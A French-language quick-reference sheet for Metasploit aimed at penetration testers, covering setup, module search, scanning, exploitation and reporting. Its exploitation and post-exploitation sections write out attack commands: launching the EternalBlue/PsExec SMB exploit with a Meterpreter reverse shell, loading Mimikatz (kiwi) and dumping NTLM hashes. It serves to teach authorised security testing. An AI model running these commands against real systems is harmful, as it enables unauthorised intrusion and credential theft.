Débuter avec Metasploit
Un coup d’œil, une commande, une explication pour tirer parti du framework le plus populaire des pentesters.
🧱 Notions clés
Exploit
Bloc de code qui profite d’une vulnérabilité précise pour exécuter une action sur la cible.
Payload
Charge utile livrée après l’exploit, souvent un shell Meterpreter ou un script personnalisé.
Module auxiliaire
Outil non intrusif (scanner, brute force, enumeration) qui prépare ou étaye l’exploitation.
Post module
Action de post-exploitation pour collecter des preuves, pivoter ou élever les privilèges.
Session
Canal ouvert avec la machine compromise pour lancer d’autres commandes.
🚀 Mise en route
msfconsole
Lance l’interface interactive principale du framework.
msfupdate
Synchronise les modules et payloads avec la dernière base.
msfdb init
Initialise la base de données PostgreSQL pour stocker les résultats.
workspace -a audit_reseau
Crée un espace de travail isolé pour vos cibles.
version
Affiche la version de Metasploit et des dépendances chargées.
help search
Rappelle la syntaxe de la commande de recherche directement dans la console.
🔎 Recherche & ciblage
search type:exploit smb
Filtre les exploits SMB disponibles pour un périmètre Windows.
search platform:linux auxiliary scanner
Liste les scanners auxiliaires utiles aux hôtes Linux.
info exploit/windows/smb/ms17_010_eternalblue
Affiche en détail les options et références d’un module.
use auxiliary/scanner/portscan/tcp
Charge un scanner TCP intégré pour cartographier les ports.
set RHOSTS 192.168.1.0/24
Définit la cible ou plage de cibles pour le module actif.
run
Exécute immédiatement le module chargé avec les options courantes.
🛠️ Préparation des exploits
use exploit/windows/smb/ms17_010_psexec
Charge l’exploit EternalBlue avec élévation via PsExec.
set PAYLOAD windows/x64/meterpreter/reverse_tcp
Sélectionne un shell Meterpreter inverse approprié.
set LHOST 10.10.0.5
Déclare l’adresse locale qui recevra la session retour.
set LPORT 4444
Fixe le port d’écoute pour le payload configuré.
check
Vérifie si la cible semble vulnérable avant le tir réel.
exploit -j
Déclenche l’exploit en job pour libérer la console.
📡 Modules auxiliaires & scanners
use auxiliary/scanner/http/title
Collecte les titres HTTP pour repérer les interfaces exposées.
use auxiliary/scanner/ssh/ssh_version
Identifie les versions SSH en service.
set THREADS 50
Augmente le parallélisme pour accélérer un scan auxiliaire.
set VERBOSE true
Ajoute des logs détaillés pendant l’exécution du module.
services -S http
Filtre les services découverts contenant « http » pour prioriser.
hosts -c address,os_name
Affiche un tableau condensé des hôtes connus et de leur OS.
🕵️ Post-exploitation & sessions
sessions -l
Liste les sessions actives collectées par vos exploits.
sessions -i 1
Ouvre la session numéro 1 pour interagir avec la cible.
background
Place la session courante en arrière-plan pour continuer ailleurs.
load kiwi
Charge l’extension Mimikatz pour extraire des identifiants.
hashdump
Récupère les hachages NTLM via Meterpreter en un clic.
run post/windows/gather/enum_logged_on_users
Énumère les comptes actifs sur la machine compromise.
⚙️ Automatisation & reporting
setg RPORT 445
Définit une option globale appliquée à tous les modules.
spool logs/metasploit.log
Enregistre tout ce qui s’affiche dans un fichier d’audit.
resource scripts/auto_exploit.rc
Joue une séquence complète d’actions depuis un fichier RC.
makerc derniers_cmds.rc
Crée un script RC reprenant vos dernières commandes utiles.
db_nmap -sV 10.10.0.0/24
Intègre directement les résultats Nmap dans la base Metasploit.
services -o rapports/services.csv
Exporte la table des services en CSV pour vos livrables.